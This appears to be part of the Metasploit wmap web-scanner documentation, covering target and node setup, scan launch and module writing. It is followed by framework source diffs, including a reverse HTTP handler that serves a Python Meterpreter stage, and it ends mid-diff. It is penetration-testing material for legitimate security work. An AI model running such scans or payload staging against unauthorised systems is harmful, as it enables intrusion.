Or how every other scanner works but in wmap fancy terms.
|
|
||||||
|
|
||||||
0. Gather data from (See Crawlers,proxies and other clients)
|
|
||||||
targets
|
|
||||||
1. Load the scanner (Load wmap plugin. See "4. Wmap Plugin")
|
|
||||||
2. Optional: Define nodes (Use 'wmap_nodes'. See "6. Wmap Nodes")
|
|
||||||
3. Define targets (Use 'wmap_sites' and 'wmap_targets'.See "5. Wmap Targets")
|
|
||||||
4. Configure (Lots of things here)
|
|
||||||
5. Launch (Use 'wmap_run'. See "7. Launch a scan")
|
|
||||||
6. Enjoy WTF Moments(Priceless...)
|
|
||||||
|
|
||||||
Note: Step 2 is optional as Wmap allows you to perform distributed scans
|
|
||||||
using multiple nodes. If no nodes are configured the scan runs as usual
|
|
||||||
running all tests from the local host.
|
|
||||||
|
|
||||||
=[ 4. Wmap Plugin ]-----------------------------------------------------------
|
|
||||||
|
|
||||||
To launch wmap open a Metasploit console and load the wmap plugin.
|
|
||||||
|
|
||||||
msf > load wmap
|
|
||||||
[*] [Wmap 1.5] === et [ ] metasploit.com 2012
|
|
||||||
[*] Successfully loaded plugin: wmap
|
|
||||||
|
|
||||||
Now that the plugin is loaded lets go through the list of basic commands:
|
|
||||||
|
|
||||||
msf > help wmap
|
|
||||||
|
|
||||||
Wmap Commands
|
|
||||||
=============
|
|
||||||
|
|
||||||
Command Description
|
|
||||||
------- -----------
|
|
||||||
wmap_nodes Manage nodes
|
|
||||||
wmap_run Test targets
|
|
||||||
wmap_sites Manage sites
|
|
||||||
wmap_targets Manage targets
|
|
||||||
wmap_modules Manage wmap modules
|
|
||||||
wmap_vulns Display web vulns
|
|
||||||
|
|
||||||
=[ 5. Wmap Targets ]----------------------------------------------------------
|
|
||||||
|
|
||||||
The targets are selected from the sites already stored in the database. For
|
|
||||||
example after crawling a site (See "2. Crawlers,proxies and other clients").
|
|
||||||
Now we can use the command 'wmap_sites' to list them:
|
|
||||||
|
|
||||||
msf > wmap_sites
|
|
||||||
[*] Usage: wmap_sites [options]
|
|
||||||
-h Display this help text
|
|
||||||
-a [url] Add site (vhost,url)
|
|
||||||
-l List all available sites
|
|
||||||
-s [id] Display site structure (vhost,url|ids) (level)
|
|
||||||
|
|
||||||
msf > wmap_sites -l
|
|
||||||
[*] Available sites
|
|
||||||
===============
|
|
||||||
|
|
||||||
Id Host Vhost Port Proto # Pages # Forms
|
|
||||||
-- ---- ----- ---- ----- ------- -------
|
|
||||||
0 10.10.10.1 blah.xyz.com 443 https 3 2
|
|
||||||
1 10.10.10.2 blah.xyz.com 443 https 3 2
|
|
||||||
2 10.1.2.2 nah.test.com 443 https 1 0
|
|
||||||
3 10.4.3.10 test.abcd.com 80 http 1 1
|
|
||||||
|
|
||||||
Note 1: Metasploit/Wmap supports multiple Vhosts/IPs.
|
|
||||||
|
|
||||||
Note 2: If you want to check the web site structure use the '-s site_id' flag
|
|
||||||
like this (also especify an optional level to display):
|
|
||||||
|
|
||||||
msf > wmap_sites -s 0 1
|
|
||||||
(First level of site 0)
|
|
||||||
msf > wmap_sites -s 0
|
|
||||||
|
|
||||||
[10.10.10.1] (blah.xyz.com)
|
|
||||||
|
|
|
||||||
+-------- dir1
|
|
||||||
|
|
|
||||||
+------ login.php
|
|
||||||
+-------- dir2
|
|
||||||
....
|
|
||||||
|
|
||||||
Then from the table we can select the targets we want to scan with the
|
|
||||||
'wmap_targets' command:
|
|
||||||
|
|
||||||
msf > wmap_targets
|
|
||||||
[*] Usage: Wmap_targets [options]
|
|
||||||
-h Display this help text
|
|
||||||
-t [urls] Define target sites (vhost1,url[space]vhost2,url)
|
|
||||||
-d [ids] Define target sites (id1, id2, id3 ...)
|
|
||||||
-c Clean target sites list
|
|
||||||
-l List all target sites
|
|
||||||
|
|
||||||
You can define targets in two ways, using the vhost,url syntax (-t) or the
|
|
||||||
table ids (-d)
|
|
||||||
|
|
||||||
msf > wmap_targets -t test.abcd.com,http://10.4.3.10/
|
|
||||||
|
|
||||||
msf > wmap_targets -d 0,1
|
|
||||||
[*] Loading blah.xyz.com,https://10.10.10.1:443/.
|
|
||||||
[*] Loading blah.xyz.com,https://10.10.10.2:443/.
|
|
||||||
|
|
||||||
To see the list of all the targets to scan at this time run the
|
|
||||||
command with the (-l) flag.
|
|
||||||
|
|
||||||
msf > wmap_targets -l
|
|
||||||
[*] Defined targets
|
|
||||||
===============
|
|
||||||
|
|
||||||
Id Vhost Host Port SSL Path
|
|
||||||
-- ----- ---- ---- --- ----
|
|
||||||
0 blah.xyz.com 10.10.10.1 443 true /
|
|
||||||
1 blah.xyz.com 10.10.10.2 443 true /
|
|
||||||
2 test.abcd.com 10.4.3.10 80 false /
|
|
||||||
|
|
||||||
|
|
||||||
=[ 6. Wmap Nodes ]------------------------------------------------------------
|
|
||||||
|
|
||||||
Wmap uses 'nodes' as a way to distribute the execution of the test against
|
|
||||||
one or more targets. Nodes are not required to run wmap . if nodes are not
|
|
||||||
configured and a scan is launched wmap will detect this and launch all tests
|
|
||||||
from the local host.
|
|
||||||
|
|
||||||
The nodes are just msfrpcd servers that are created the following way:
|
|
||||||
|
|
||||||
msf>ruby msfrpcd -h
|
|
||||||
|
|
||||||
Usage: msfrpcd <options>
|
|
||||||
|
|
||||||
OPTIONS:
|
|
||||||
|
|
||||||
-P <opt> Specify the password to access msfrpcd
|
|
||||||
-S Disable SSL on the RPC socket
|
|
||||||
-U <opt> Specify the username to access msfrpcd
|
|
||||||
-a <opt> Bind to this IP address
|
|
||||||
-f Run the daemon in the foreground
|
|
||||||
-h Help banner
|
|
||||||
-n Disable database
|
|
||||||
-p <opt> Bind to this port instead of 55553
|
|
||||||
-u <opt> URI for Web server
|
|
||||||
|
|
||||||
msf>ruby msfrpcd -U msf -P nodepass
|
|
||||||
[*] MSGRPC starting on 192.168.0.1:55553 (SSL):Msg...
|
|
||||||
[*] MSGRPC backgrounding at 2012-01-17 11:01:01 -0600...
|
|
||||||
|
|
||||||
if you want to create a msfrpc server from the msfconsole you can do it by
|
|
||||||
loading the msgrpc plugin:
|
|
||||||
|
|
||||||
msf > load msgrpc User=msf Pass=nodepass
|
|
||||||
[*] MSGRPC Service: 127.0.0.1:55552
|
|
||||||
[*] MSGRPC Username: msf
|
|
||||||
[*] MSGRPC Password: nodepass
|
|
||||||
[*] Successfully loaded plugin: msgrpc
|
|
||||||
|
|
||||||
On a later stage in the wmap console we will add such nodes so the scans can
|
|
||||||
be distributed across all the configured nodes. so remember how you deployed
|
|
||||||
your nodes so they can be configured in wmap.
|
|
||||||
|
|
||||||
In the metasploit console after you have loaded the wmap plugin you can add
|
|
||||||
the previous nodes with the 'wmap_nodes' command:
|
|
||||||
|
|
||||||
msf > wmap_nodes
|
|
||||||
[*] Usage: wmap_nodes [options]
|
|
||||||
-h Display this help text
|
|
||||||
-c id Remove id node (Use ALL for ALL nodes
|
|
||||||
-a host port ssl user pass Add node
|
|
||||||
-d host port user pass db Force all nodes to connect to a db
|
|
||||||
-j View detailed jobs
|
|
||||||
-k ALL|id ALL|job_id Kill jobs on node
|
|
||||||
-l List all current nodes
|
|
||||||
|
|
||||||
msf > wmap_nodes -a 192.168.0.1 55553 true msf nodepass
|
|
||||||
[*] Connected to 192.168.0.1:55553 [4.2.0-dev].
|
|
||||||
[*] Node created.
|
|
||||||
|
|
||||||
Note: When launching msfrpcd waiht for a couple of seconds beofr adding it to
|
|
||||||
wmap as msfrpcd sometimes is slow to start accepting connections.
|
|
||||||
|
|
||||||
Add as many nodes you want. To see the list use 'wmap_nodes -l':
|
|
||||||
|
|
||||||
msf > wmap_nodes -l
|
|
||||||
[*] Nodes
|
|
||||||
=====
|
|
||||||
|
|
||||||
Id Host Port SSL User Pass Status #jobs
|
|
||||||
-- ---- ---- --- ---- ---- ------ -----
|
|
||||||
0 127.0.0.1 55553 true msf nodepass 4.2.0-dev 0
|
|
||||||
1 192.168.0.1 55553 true msf nodepass 4.2.0-dev 0
|
|
||||||
|
|
||||||
Note: After launching all tests this command will allow you to see if all
|
|
||||||
your jobs have been completed (#jobs == 0).
|
|
||||||
|
|
||||||
Remember that all these commands can be added as a .rc file so you dont
|
|
||||||
have to type again and again the loading of wmap and the configuration of
|
|
||||||
nodes.
|
|
||||||
|
|
||||||
After you have your nodes connected then you can force them to connect to
|
|
||||||
the central metasploit database:
|
|
||||||
|
|
||||||
msf > wmap_nodes -d 127.0.0.1 7175 dbuser dbpass msf3
|
|
||||||
[*] db_connect {"driver"=>"postgresql", "db"=>"msf3"} 127.0.0.1:7175 OK
|
|
||||||
[*] db_connect {"driver"=>"postgresql", "db"=>"msf3"} 192.168.0.1:7175 OK
|
|
||||||
[*] OK.
|
|
||||||
|
|
||||||
|
|
||||||
=[ 7. Launch a scan ]---------------------------------------------------------
|
|
||||||
|
|
||||||
Now that database,targets and maybe nodes are set we run a scan with the
|
|
||||||
'wmap_run' command:
|
|
||||||
|
|
||||||
msf > wmap_run
|
|
||||||
[*] Usage: wmap_run [options]
|
|
||||||
-h Display this help text
|
|
||||||
-t Show all enabled modules
|
|
||||||
-m [regex] Launch only modules that match provided regex
|
|
||||||
-p [regex] Only test path defined by regex..
|
|
||||||
-e [/path/to/profile] Launch profile modules against all targets.
|
|
||||||
No file runs all enabled modules.
|
|
||||||
|
|
||||||
msf > wmap_run -e
|
|
||||||
[*] Using ALL wmap enabled modules.
|
|
||||||
[*] Testing target:
|
|
||||||
[*] Site: test.abcd.com (10.4.3.10)
|
|
||||||
[*] Port: 80 SSL: false
|
|
||||||
============================================================
|
|
||||||
[*] Testing started. 2012-12-21 0:0:0 -0600
|
|
||||||
[*]
|
|
||||||
=[ SSL testing ]=
|
|
||||||
============================================================
|
|
||||||
[*] Target is not SSL. SSL modules disabled.
|
|
||||||
[*]
|
|
||||||
=[ Web Server testing ]=
|
|
||||||
============================================================
|
|
||||||
[*] Module auxiliary/admin/http/http_version
|
|
||||||
[*] Module auxiliary/admin/http/tomcat_administration
|
|
||||||
[*] Module auxiliary/admin/http/tomcat_utf8_traversal
|
|
||||||
[*] Module auxiliary/admin/http/trendmicro_dlp_traversal
|
|
||||||
[*] Module auxiliary/scanner/http/cisco_nac_manager_traversal
|
|
||||||
....
|
|
||||||
msf >
|
|
||||||
|
|
||||||
As you see here wmap executes each of the modules against the defined targets.
|
|
||||||
(See "8. Wmap Modules") If nodes were configured it will go thru the list of
|
|
||||||
nodes and will send a job to the less loaded node to execute the especific
|
|
||||||
module with the required options. To force a good job distribution across the
|
|
||||||
nodes wmap has a limit of 25 jobs per node. If a node has reached the limit it
|
|
||||||
will try with the next node until there is a slot available.
|
|
||||||
|
|
||||||
Check periodically with the 'wmap_nodes -l' command to see the current job
|
|
||||||
status. After the asssement is complete now you can use the normal metasploit
|
|
||||||
commands to see the results.
|
|
||||||
|
|
||||||
To view detailed job information on each node use the 'wmap_nodes' (-j) flag:
|
|
||||||
|
|
||||||
msf >wmap_nodes -j
|
|
||||||
[*] [Node #0: 127.0.0.1 Port:55553 SSL:true User:msf]
|
|
||||||
[*] Jobs
|
|
||||||
====
|
|
||||||
|
|
||||||
Id Job name Target PATH
|
|
||||||
-- -------- ------ ----
|
|
||||||
0 Auxiliary: scanner/http/dir_scanner 192.168.0.1:80 /
|
|
||||||
...
|
|
||||||
|
|
||||||
|
|
||||||
[*] [Node #1: 127.0.0.1 Port:55555 SSL:true User:msf]
|
|
||||||
[*] Jobs
|
|
||||||
====
|
|
||||||
|
|
||||||
Id Job name Target PATH
|
|
||||||
-- -------- ------ ----
|
|
||||||
2 Auxiliary: scanner/http/dir_scanner 192.168.0.2:80 /
|
|
||||||
...
|
|
||||||
|
|
||||||
Also you can kill especific jobs or all jobs from one or all nodes:
|
|
||||||
|
|
||||||
msf > wmap_nodes -k 0 ALL
|
|
||||||
[*] Node 0 Killed job id 262 Auxiliary: admin/http/tomcat_administration
|
|
||||||
[*] Node 0 Killed job id 263 Auxiliary: admin/http/tomcat_utf8_traversal
|
|
||||||
[*] Node 0 Killed job id 271 Auxiliary: scanner/http/soap_xml
|
|
||||||
[*] Node 0 Killed job id 299 Auxiliary: scanner/http/brute_dirs
|
|
||||||
[*] Node 0 Killed job id 300 Auxiliary: scanner/http/brute_dirs
|
|
||||||
[*] Node 0 Killed job id 301 Auxiliary: scanner/http/brute_dirs
|
|
||||||
....
|
|
||||||
|
|
||||||
If during the scan a node dies wmap will disable the node and will keep
|
|
||||||
sending the jobs to the other active nodes.
|
|
||||||
|
|
||||||
If nodes were not configured wmap will launch the tests from the
|
|
||||||
local host the old fashion.
|
|
||||||
|
|
||||||
=[ 8. Wmap Modules ] ---------------------------------------------------------
|
|
||||||
|
|
||||||
Wmap modules are normal Metasploit modules. Each module has a WMAP type,
|
|
||||||
this determine when the module is launched and to a certain degree,the minimum
|
|
||||||
type of information it requires to be executed. The best way to develop a new
|
|
||||||
test for wmap, is to use already implemented modules as a base and then
|
|
||||||
develop a normal MSF module that can be run manually from the command line. To
|
|
||||||
enable a module to be run automatically via wmap just include the mixin that
|
|
||||||
determine the type of the module (Means: just add the example string to a
|
|
||||||
module and use the correct type).
|
|
||||||
|
|
||||||
Example:
|
|
||||||
|
|
||||||
include Auxiliary::WmapScanFile
|
|
||||||
|
|
||||||
The following are the types of modules implemented at this time and they are
|
|
||||||
listed in the order WMAP runs them:
|
|
||||||
|
|
||||||
WmapScanSSL - Run once against a SSL server
|
|
||||||
WmapScanServer - Run once against a target Web Server
|
|
||||||
WmapScanDir - Runs for every directory found in the target
|
|
||||||
WmapScanFile - Runs for every file found in the target
|
|
||||||
WmapScanUniqueQuery - Runs for every unique query found in each request to the
|
|
||||||
target
|
|
||||||
WmapScanQuery - Runs for every query found in each request to the target
|
|
||||||
WmapScanGeneric - Modules to be run after all tests complete.Good place to
|
|
||||||
perform passive analysis of responses, analysis of test
|
|
||||||
results to launch other modules (i.e. exploits).
|
|
||||||
|
|
||||||
Note: Multiple mixins can be included in a module if needed.
|
|
||||||
|
|
||||||
The execution order not only is handled by the wmap type but also it can be
|
|
||||||
adjusted across all modules by defining a wmap orderid number using the
|
|
||||||
'register_wmap_options' method.
|
|
||||||
|
|
||||||
Using http_version.rb module as an example:
|
|
||||||
|
|
||||||
Class Metasploit3 < Msf::Auxiliary
|
|
||||||
|
|
||||||
# Exploit mixins should be called first
|
|
||||||
include Msf::Exploit::Remote::HttpClient
|
|
||||||
include Msf::Auxiliary::WmapScanServer
|
|
||||||
# Scanner mixin should be near last
|
|
||||||
include Msf::Auxiliary::Scanner
|
|
||||||
|
|
||||||
def initialize
|
|
||||||
super(
|
|
||||||
'Name' => 'HTTP Version Detection',
|
|
||||||
...
|
|
||||||
)
|
|
||||||
|
|
||||||
register_wmap_options({
|
|
||||||
'OrderID' => 0,
|
|
||||||
'Require' => {},
|
|
||||||
})
|
|
||||||
...
|
|
||||||
|
|
||||||
'OrderID' Numeric value that represents the order ALL modules will be executed
|
|
||||||
You can see the modules and orderid with the 'wmap_modules -l'
|
|
||||||
command:
|
|
||||||
|
|
||||||
msf > wmap_modules -l
|
|
||||||
|
|
||||||
|
|
||||||
'Require' Array of all the modules orderids that are required to be executed
|
|
||||||
and finished first before the curent module. (This specific
|
|
||||||
funtionality is still in the works, but the objective is to have
|
|
||||||
modules to provide results as input to other modules.)
|
|
||||||
|
|
||||||
Wmap enabled modules can be reloaded using the wmap_modules -r command.
|
|
||||||
|
|
||||||
=[ 9. RANDOM NOTES ]----------------------------------------------------------
|
|
||||||
|
|
||||||
Because every test is a module the datastore is sent to the module in the node
|
|
||||||
for execution. If a module you create needs a specific option set before
|
|
||||||
launch just set it in the console as a regular variable. For example:
|
|
||||||
|
|
||||||
msf > set DOMAIN abcd.com
|
|
||||||
DOMAIN => abcd.com
|
|
||||||
msf >
|
|
||||||
|
|
||||||
This is usefull if you want to include exploits in the testing and not only
|
|
||||||
auxiliary modules. WMAP looks for wmap enabled modules in ALL auxiliary and
|
|
||||||
exploit modules.
|
|
||||||
|
|
||||||
Also if you have asked yourself why there are commands that receive not only
|
|
||||||
table id but the ugly vhost,url syntax for site and target definition is
|
|
||||||
because this allows to do complex scripts, so be creative.
|
|
||||||
|
|
||||||
If you see a Reauth message in WMAP is because the XMLRPC token is not valid
|
|
||||||
and a reauthentication to the nodes is required. But dont worry wmap does that
|
|
||||||
automaticaly for you.
|
|
||||||
|
|
||||||
=[ 10. Results ]--------------------------------------------------------------
|
|
||||||
|
|
||||||
Modules may report results as notes (notes) , vulnerabilities (vulns) and/or
|
|
||||||
web vulnerabilities (web vulns). As notes and general vulnerabilities can be
|
|
||||||
displayed using the metasploit commands 'notes' and 'vulns', Wmap implements
|
|
||||||
'wmap_vulns' to display the results stored in the web_vulns db table. The
|
|
||||||
reporting is basic at this time , however the Metasploit database can be
|
|
||||||
easily accessed to fullfill your reporting needs.
|
|
||||||
|
|
||||||
Note: Always check 'notes', 'vulns' and 'wmap_vulns' for results.
|
|
||||||
|
|
||||||
|
|
||||||
=[ 11. TO DO ]----------------------------------------------------------------
|
|
||||||
|
|
||||||
- The quality of the scan depends on the quality of the modules. So please
|
|
||||||
contribute more modules and improvements. If you dont contribute , you dont
|
|
||||||
have the right to complain. The only key issues to consider are:
|
|
||||||
|
|
||||||
+ The module should follow metasploit guidelines
|
|
||||||
+ Add the right mixin(s)
|
|
||||||
+ The module should store the right data and results in the database
|
|
||||||
+ Always use report_vuln or report_web_vuln to report output from a
|
|
||||||
module as report_note overwrites results if 'type' is the same.
|
|
||||||
+ The module has to have a clear purpose!!!!
|
|
||||||
Is better to have multiple modules with simple tasks/objectives that
|
|
||||||
one that does everything.
|
|
||||||
+ The variables/options used in the datastore have to be the same between
|
|
||||||
wmap and the module so wmap can pass the right information to it.
|
|
||||||
Usually this is the naming convention to use for the options:
|
|
||||||
|
|
||||||
OptString:
|
|
||||||
|
|
||||||
'VHOST' = HTTP Virtual Host
|
|
||||||
'METHOD' = HTTP Method
|
|
||||||
'PATH' = HTTP URI Path.
|
|
||||||
'QUERY' = HTTP URI Query usually in the param1=value1& form.
|
|
||||||
'DATA' = HTTP Data. In a POST request is the body of the request.
|
|
||||||
Usually in the param1=value1& form.
|
|
||||||
'HEADERS'= HTTP headers (header1=value1;..)
|
|
||||||
|
|
||||||
OptBool:
|
|
||||||
|
|
||||||
'VERBOSE'= Verbose flag.
|
|
||||||
|
|
||||||
Note: This naming convention may change. However if this naming
|
|
||||||
convention is used any changes can be implemented easily.
|
|
||||||
|
|
||||||
- Also if you want to take the big task of developing a ruby MITM proxy for
|
|
||||||
metasploit that will be very helpfull for the project.
|
|
||||||
|
|
||||||
=[ Disclaimer ]---------------------------------------------------------------
|
|
||||||
I dont work for R7. XD
|
|
||||||
==============================================================================
|
|
||||||
et [ ] metasploit.com 2012
|
|
||||||
|
|
||||||
|
|
|
@ -107,7 +107,7 @@ class Metasploit::Framework::CredentialCollection
|
||||||
File.open(user_file, 'r:binary') do |user_fd|
|
File.open(user_file, 'r:binary') do |user_fd|
|
||||||
user_fd.each_line do |user_from_file|
|
user_fd.each_line do |user_from_file|
|
||||||
user_from_file.chomp!
|
user_from_file.chomp!
|
||||||
if password
|
if password.present?
|
||||||
yield Metasploit::Framework::Credential.new(public: user_from_file, private: password, realm: realm, private_type: private_type(password) )
|
yield Metasploit::Framework::Credential.new(public: user_from_file, private: password, realm: realm, private_type: private_type(password) )
|
||||||
end
|
end
|
||||||
if user_as_pass
|
if user_as_pass
|
||||||
|
|
|
@ -55,7 +55,7 @@ module Auxiliary
|
||||||
|
|
||||||
# Verify the ACTION
|
# Verify the ACTION
|
||||||
if (mod.actions.length > 0 and not mod.action)
|
if (mod.actions.length > 0 and not mod.action)
|
||||||
raise MissingActionError, "You must specify a valid Action", caller
|
raise MissingActionError, "Please use: #{mod.actions.collect {|e| e.name} * ", "}"
|
||||||
end
|
end
|
||||||
|
|
||||||
# Verify the options
|
# Verify the options
|
||||||
|
@ -113,6 +113,8 @@ module Auxiliary
|
||||||
# be normalized
|
# be normalized
|
||||||
mod.validate
|
mod.validate
|
||||||
|
|
||||||
|
mod.setup
|
||||||
|
|
||||||
# Run check
|
# Run check
|
||||||
mod.check
|
mod.check
|
||||||
end
|
end
|
||||||
|
|
|
@ -182,6 +182,8 @@ module Exploit
|
||||||
# be normalized
|
# be normalized
|
||||||
mod.validate
|
mod.validate
|
||||||
|
|
||||||
|
mod.setup
|
||||||
|
|
||||||
# Run check
|
# Run check
|
||||||
mod.check
|
mod.check
|
||||||
end
|
end
|
||||||
|
|
|
@ -210,9 +210,15 @@ end
|
||||||
###
|
###
|
||||||
class MissingActionError < ArgumentError
|
class MissingActionError < ArgumentError
|
||||||
include AuxiliaryError
|
include AuxiliaryError
|
||||||
|
attr_accessor :reason
|
||||||
|
|
||||||
|
def initialize(reason='')
|
||||||
|
self.reason = reason
|
||||||
|
super
|
||||||
|
end
|
||||||
|
|
||||||
def to_s
|
def to_s
|
||||||
"A valid action has not been selected."
|
"Invalid action: #{reason}"
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -37,9 +37,16 @@ module Msf
|
||||||
|
|
||||||
register_advanced_options(
|
register_advanced_options(
|
||||||
[
|
[
|
||||||
OptInt.new('UDP_SECRET', [true, 'The 32-bit cookie for UDP probe requests.', 1297303091]),
|
OptInt.new('SECRET', [true, 'A 32-bit cookie for probe requests.', 'MSF!'.unpack('N').first]),
|
||||||
OptAddress.new('GATEWAY', [false, 'The gateway IP address. This will be used rather than a random remote address for the UDP probe, if set.']),
|
OptAddress.new('GATEWAY_PROBE_HOST',
|
||||||
OptInt.new('NETMASK', [false, 'The local network mask. This is used to decide if an address is in the local network.', 24]),
|
[
|
||||||
|
true,
|
||||||
|
'Send a TTL=1 random UDP datagram to this host to discover the default gateway\'s MAC',
|
||||||
|
'www.metasploit.com']),
|
||||||
|
OptPort.new('GATEWAY_PROBE_PORT',
|
||||||
|
[
|
||||||
|
false,
|
||||||
|
'The port on GATEWAY_PROBE_HOST to send a random UDP probe to (random if 0 or unset)'])
|
||||||
], Msf::Exploit::Capture
|
], Msf::Exploit::Capture
|
||||||
)
|
)
|
||||||
|
|
||||||
|
@ -117,7 +124,7 @@ module Msf
|
||||||
self.capture = ::Pcap.open_live(dev, len, true, tim)
|
self.capture = ::Pcap.open_live(dev, len, true, tim)
|
||||||
if do_arp
|
if do_arp
|
||||||
self.arp_capture = ::Pcap.open_live(dev, 512, true, tim)
|
self.arp_capture = ::Pcap.open_live(dev, 512, true, tim)
|
||||||
preamble = datastore['UDP_SECRET'].to_i
|
preamble = datastore['SECRET'].to_i
|
||||||
arp_filter = "arp[6:2] = 2 or (udp[8:4] = #{preamble})"
|
arp_filter = "arp[6:2] = 2 or (udp[8:4] = #{preamble})"
|
||||||
self.arp_capture.setfilter(arp_filter)
|
self.arp_capture.setfilter(arp_filter)
|
||||||
end
|
end
|
||||||
|
@ -304,15 +311,18 @@ module Msf
|
||||||
end
|
end
|
||||||
|
|
||||||
def probe_gateway(addr)
|
def probe_gateway(addr)
|
||||||
dst_host = (datastore['GATEWAY'] || IPAddr.new((rand(16777216) + 2969567232), Socket::AF_INET).to_s)
|
dst_host = datastore['GATEWAY_PROBE_HOST']
|
||||||
dst_port = rand(30000)+1024
|
dst_port = datastore['GATEWAY_PROBE_PORT'] == 0 ? rand(30000) + 1024 : datastore['GATEWAY_PROBE_PORT']
|
||||||
preamble = [datastore['UDP_SECRET']].pack("N")
|
preamble = [datastore['SECRET']].pack("N")
|
||||||
secret = "#{preamble}#{Rex::Text.rand_text(rand(0xff)+1)}"
|
secret = "#{preamble}#{Rex::Text.rand_text(rand(0xff)+1)}"
|
||||||
|
|
||||||
begin
|
begin
|
||||||
UDPSocket.open.send(secret, 0, dst_host, dst_port)
|
UDPSocket.open do |sock|
|
||||||
|
sock.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_TTL, 1)
|
||||||
|
sock.send(secret, 0, dst_host, dst_port)
|
||||||
|
end
|
||||||
rescue Errno::ENETUNREACH
|
rescue Errno::ENETUNREACH
|
||||||
# This happens on networks with no gatway. We'll need to use a
|
# This happens on networks with no gateway. We'll need to use a
|
||||||
# fake source hardware address.
|
# fake source hardware address.
|
||||||
self.arp_cache[Rex::Socket.source_address(addr)] = "00:00:00:00:00:00"
|
self.arp_cache[Rex::Socket.source_address(addr)] = "00:00:00:00:00:00"
|
||||||
end
|
end
|
||||||
|
@ -402,9 +412,11 @@ module Msf
|
||||||
def lookupnet
|
def lookupnet
|
||||||
check_pcaprub_loaded
|
check_pcaprub_loaded
|
||||||
dev = datastore['INTERFACE'] || ::Pcap.lookupdev
|
dev = datastore['INTERFACE'] || ::Pcap.lookupdev
|
||||||
mask = datastore['NETMASK'] || 24
|
|
||||||
begin
|
begin
|
||||||
my_net = IPAddr.new("#{Pcap.lookupnet(dev).first}/#{mask}")
|
my_ip, my_mask = Pcap.lookupnet(dev)
|
||||||
|
# convert the netmask obtained from the relevant interface to CIDR
|
||||||
|
cidr_mask = my_mask.to_s(2).count('1')
|
||||||
|
my_net = IPAddr.new("#{my_ip}/#{cidr_mask}")
|
||||||
rescue RuntimeError => e
|
rescue RuntimeError => e
|
||||||
@pcaprub_error = e
|
@pcaprub_error = e
|
||||||
print_status("Cannot stat device: #{@pcaprub_error}")
|
print_status("Cannot stat device: #{@pcaprub_error}")
|
||||||
|
@ -414,10 +426,7 @@ module Msf
|
||||||
end
|
end
|
||||||
|
|
||||||
def should_arp?(ip)
|
def should_arp?(ip)
|
||||||
@mydev ||= datastore['INTERFACE'] || ::Pcap.lookupdev
|
lookupnet.include?(IPAddr.new(ip))
|
||||||
@mymask ||= datastore['NETMASK'] || 24
|
|
||||||
@mynet ||= lookupnet
|
|
||||||
@mynet.include?(IPAddr.new(ip))
|
|
||||||
end
|
end
|
||||||
|
|
||||||
attr_accessor :capture, :arp_cache, :arp_capture, :dst_cache
|
attr_accessor :capture, :arp_cache, :arp_capture, :dst_cache
|
||||||
|
|
|
@ -194,6 +194,40 @@ protected
|
||||||
|
|
||||||
# Process the requested resource.
|
# Process the requested resource.
|
||||||
case uri_match
|
case uri_match
|
||||||
|
when /^\/INITPY/
|
||||||
|
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
|
||||||
|
url = payload_uri + conn_id + '/'
|
||||||
|
|
||||||
|
blob = ""
|
||||||
|
blob << obj.generate_stage
|
||||||
|
|
||||||
|
var_escape = lambda { |txt|
|
||||||
|
txt.gsub('\\', '\\'*8).gsub('\'', %q(\\\\\\\'))
|
||||||
|
}
|
||||||
|
|
||||||
|
# Patch all the things
|
||||||
|
blob.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(url)}'")
|
||||||
|
blob.sub!('HTTP_EXPIRATION_TIMEOUT = 604800', "HTTP_EXPIRATION_TIMEOUT = #{datastore['SessionExpirationTimeout']}")
|
||||||
|
blob.sub!('HTTP_COMMUNICATION_TIMEOUT = 300', "HTTP_COMMUNICATION_TIMEOUT = #{datastore['SessionCommunicationTimeout']}")
|
||||||
|
blob.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(datastore['MeterpreterUserAgent'])}'")
|
||||||
|
|
||||||
|
unless datastore['PROXYHOST'].blank?
|
||||||
|
proxy_url = "http://#{datastore['PROXYHOST']}:#{datastore['PROXYPORT']}"
|
||||||
|
blob.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'")
|
||||||
|
end
|
||||||
|
|
||||||
|
resp.body = blob
|
||||||
|
|
||||||
|
# Short-circuit the payload's handle_connection processing for create_session
|
||||||
|
create_session(cli, {
|
||||||
|
:passive_dispatcher => obj.service,
|
||||||
|
:conn_id => conn_id,
|
||||||
|
:url => url,
|
||||||
|
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||||
|
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||||
|
:ssl => ssl?,
|
||||||
|
})
|
||||||
|
|
||||||
when /^\/INITJM/
|
when /^\/INITJM/
|
||||||
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
|
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
|
||||||
url = payload_uri + conn_id + "/\x00"
|
url = payload_uri + conn_id + "/\x00"
|
||||||
|
@ -201,7 +235,7 @@ protected
|
||||||
blob = ""
|
blob = ""
|
||||||
blob << obj.generate_stage
|
blob << obj.generate_stage
|
||||||
|
|
||||||
# This is a TLV packet - I guess somewhere there should be API for building them
|
# This is a TLV packet - I guess somewhere there should be an API for building them
|
||||||
# in Metasploit :-)
|
# in Metasploit :-)
|
||||||
packet = ""
|
packet = ""
|
||||||
packet << ["core_switch_url\x00".length + 8, 0x10001].pack('NN') + "core_switch_url\x00"
|
packet << ["core_switch_url\x00".length + 8, 0x10001].pack('NN') + "core_switch_url\x00"
|
||||||
|
@ -223,7 +257,6 @@ protected
|
||||||
})
|
})
|
||||||
|
|
||||||
when /^\/A?INITM?/
|
when /^\/A?INITM?/
|
||||||
|
|
||||||
url = ''
|
url = ''
|
||||||
|
|
||||||
print_status("#{cli.peerhost}:#{cli.peerport} Staging connection for target #{req.relative_resource} received...")
|
print_status("#{cli.peerhost}:#{cli.peerport} Staging connection for target #{req.relative_resource} received...")
|
||||||
|
|
|
@ -8,8 +8,9 @@ module Msf
|
||||||
# Define 8-bit checksums for matching URLs
|
# Define 8-bit checksums for matching URLs
|
||||||
# These are based on charset frequency
|
# These are based on charset frequency
|
||||||
#
|
#
|
||||||
URI_CHECKSUM_INITW = 92
|
